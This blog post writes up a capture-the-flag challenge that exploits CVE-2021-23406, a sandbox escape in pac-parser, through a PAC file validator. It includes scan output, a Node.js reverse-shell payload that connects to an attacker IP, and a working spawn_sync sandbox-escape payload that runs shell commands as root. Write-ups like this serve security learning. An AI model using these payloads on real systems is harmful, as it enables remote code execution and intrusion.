Tale of first blood / CVE-2021–23406

ar1fshaikh
7 min readApr 9, 2024

--

I am back with my interesting RCE (Remote code execution) which I exploited in one of the CTF.

As usual it started with enumeration with nmap which didn’t took long since there is nothing much on server other than application on port 80 and 443.

root@kali# nmap -p- --min-rate 10000 -oA xx.xx.xx.xxx                                                                                            
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-16 10:52 EDT
Nmap scan report for xx.xx.xx.xxx
Host is up (0.050s latency).
Not shown: 65533 filtered ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https

Nmap done: 1 IP address (1 host up) scanned in 13.49 seconds

from this it is clear that most likely the way to exploit it is through this web application !

I started further enumeration for possible routes with one of the dir fuzzer tool feroxbuster[github.com], after fuzzing for while resulted with multiple routes and came across usual home page and functinalities provided around.

root@kali# feroxbuster -u https://xx.xx.xx.xxx/ -x php,html,txt -w /usr/share/wordlists/d
irbuster/directory-list-2.3-medium.txt -k -t 100

___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.2.1
───────────────────────────┬──────────────────────
🎯 Target Url │ https://xx.xx.xx.xxx/
🚀 Threads │ 100
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.2.1
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💲 Extensions │ [php, html, txt]
🔓 Insecure │ true
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
200 24l 32w 329c https://xx.xx.xx.xxx/index.html
301 0l 0w 0c https://xx.xx.xx.xxx/includes
200 173l 425w 0c https://xx.xx.xx.xxx/pacvalidate
200 173l 425w 0c https://xx.xx.xx.xxx/generatepac
200 173l 425w 0c https://xx.xx.xx.xxx/
200 10l 40w 271c https://xx.xx.xx.xxx/changelog.txt
[####################] - 44m 882180/882180 313/s https://xx.xx.xx.xxx/tree
[####################] - 40m 882180/882180 387/s https://xx.xx.xx.xxx/css
[####################] - 39m 882180/882180 367/s https://xx.xx.xx.xxx/themes

as we see we got few interesting rotues, which were already present on home page and shows there is nothing much to explore from results of feroxbuster. By visiting the home page it was presented with 2 options
1. Generate .pac configuration file
2. Validate .pac file

let’s understand what is .pac file :
source : https://help.zscaler.com/zia/understanding-pac-file

A proxy auto-configuration (PAC) file is a text file that instructs a browser to forward traffic to a proxy server instead of directly to the destination server. It contains JavaScript that specifies the proxy server and, optionally, additional parameters that specify when and under what circumstances a browser forwards traffic to the proxy server. For example, a PAC file can specify on what days of the week or what hours of the day traffic is sent to a proxy, or for which domains and URLs traffic is not sent to a proxy.

All major browsers support PAC files. Browsers simply require the address of the PAC file so they can fetch the file from the specified address and execute the JavaScript in the file. PAC files can be hosted on a workstation, on an internal web server, or on a server outside the corporate network.

PAC file illustration
source : https://i2.wp.com/ipwithease.com/wp-content/uploads/2022/04/proxy-vs-pac-file-1.jpg

exploring functionality I tried to generate PAC file from /generatepac route with providing sample inputs, this was result :

function FindProxyForURL(https://example.com, example.com) {
if (
(isPlainHostName(example.com) || dnsDomainIs(example.com, "https://example.com")) &&
!localHostOrDomainIs(example.com, "https://example.com")
) {
return "DIRECT";
} else {
return "PROXY https://example.com; DIRECT";
}
}

let’s try /pacvalidate endpoint :

It validated provided .pac file and extracted result DIRECT will be the result on execution !

looking around for CVEs in .pac (node-package : pac-parser) was reported in 2021 ( snyk.io ) which was useful clue to go ahead !
things were easy and straightforward till here, I tried to check if I can get any syntax error or any code execution in PAC validator endpoint.

Now it should be easy ! I tried to import child_process and with child process we can execute shell commands, usually we can create reverse shell with child_process or execute terminal commands with payload being :

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "xx.xx.xx.xxx", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();

I tried to import child_process but no luck !

clearly import is not the way here ! we got error stating require is not defined. Certainly this tells that we do not have modules in current execution context.

This was a time I was clueless, I tried searching reverse shells, nodejs payloads for command execution.

Since I was trying hard to get execution from this functionality but arrived nowhere ! I started spending time in other functionalities and tried to perform other actions like trying to read file but no luck

I was trying with lot of ways to get this execution via other ways or to create reverse shell if not direct execution, I tried overwriting existing files…

no luck so far, then I thought of trying to read process.env since it is available in this execution context and nowhere I am able to access anything else. there might be possible way to get more attack surface from process.env

This was the only progress so far, I was able to read process.env from provided execution, after spending some time reading env variables I came to conclusion there is nothing in env as well !

I was hoping for something here but strange it was not at all helpful.

after a while trying to discover more payloads and workaround for this, I came across this amazing stuff of math.js RCE ( https://jwlss.pw/mathjs/ )
I quickly tried to get execution here with spawn_sync with modifying payload little bit, here is what I came up with…

const f = this.constructor.constructor(`spawn_sync = process.binding("spawn_sync");
normalizeSpawnArguments = function (c, b, a) {
if (
(Array.isArray(b) ? (b = b.slice(0)) : ((a = b), (b = [])),
a === undefined && (a = {}),
(a = Object.assign({}, a)),
a.shell)
) {
const g = [c].concat(b).join(" ");
typeof a.shell === "string" ? (c = a.shell) : (c = "/bin/sh"),
(b = ["-c", g]);
}
typeof a.argv0 === "string" ? b.unshift(a.argv0) : b.unshift(c);
var d = a.env || process.env;
var e = [];
for (var f in d) e.push(f + "=" + d[f]);
return { file: c, args: b, options: a, envPairs: e };
};

spawnSync = function () {
var d = normalizeSpawnArguments.apply(null, arguments);
var a = d.options;
var c;
if (
((a.file = d.file),
(a.args = d.args),
(a.envPairs = d.envPairs),
(a.stdio = [
{ type: "pipe", readable: !0, writable: !1 },
{ type: "pipe", readable: !1, writable: !0 },
{ type: "pipe", readable: !1, writable: !0 },
]),
a.input)
) {
var g = (a.stdio[0] = util._extend({}, a.stdio[0]));
g.input = a.input;
}
for (c = 0; c < a.stdio.length; c++) {
var e = a.stdio[c] && a.stdio[c].input;
if (e != null) {
var f = (a.stdio[c] = util._extend({}, a.stdio[c]));
isUint8Array(e) ? (f.input = e) : (f.input = Buffer.from(e, a.encoding));
}
}
var b = spawn_sync.spawn(a);
return b.output[1].toString("utf-8");

if (b.output && a.encoding && a.encoding !== "buffer")
for (c = 0; c < b.output.length; c++) {
if (!b.output[c]) continue;
b.output[c] = b.output[c].toString("utf-8");
}
return;
return (
(b.stdout = b.output && b.output[1]),
(b.stderr = b.output && b.output[2]),
b.error &&
((b.error = b.error + "spawnSync " + d.file),
(b.error.path = d.file),
(b.error.spawnargs = d.args.slice(1))),
b
);
}; return spawnSync("/usr/bin/whoami")`);

function FindProxyForURL(url, host) {
return f();
}

I tried this and I was able to get shell execution !

I was able to execute whoami and luckily enough application was running with root privileges.
Congratz we pwned server !
Key learnings from this were amazing math.js RCE finding and crazy shell execution with minifying child_process instead of importing it 😁

btw these days I am working more pwn.college which is amazing platform to learn security for free ! go check it out.
For more such readings do follow me on twitter [at]ar1fshaikh.

--

--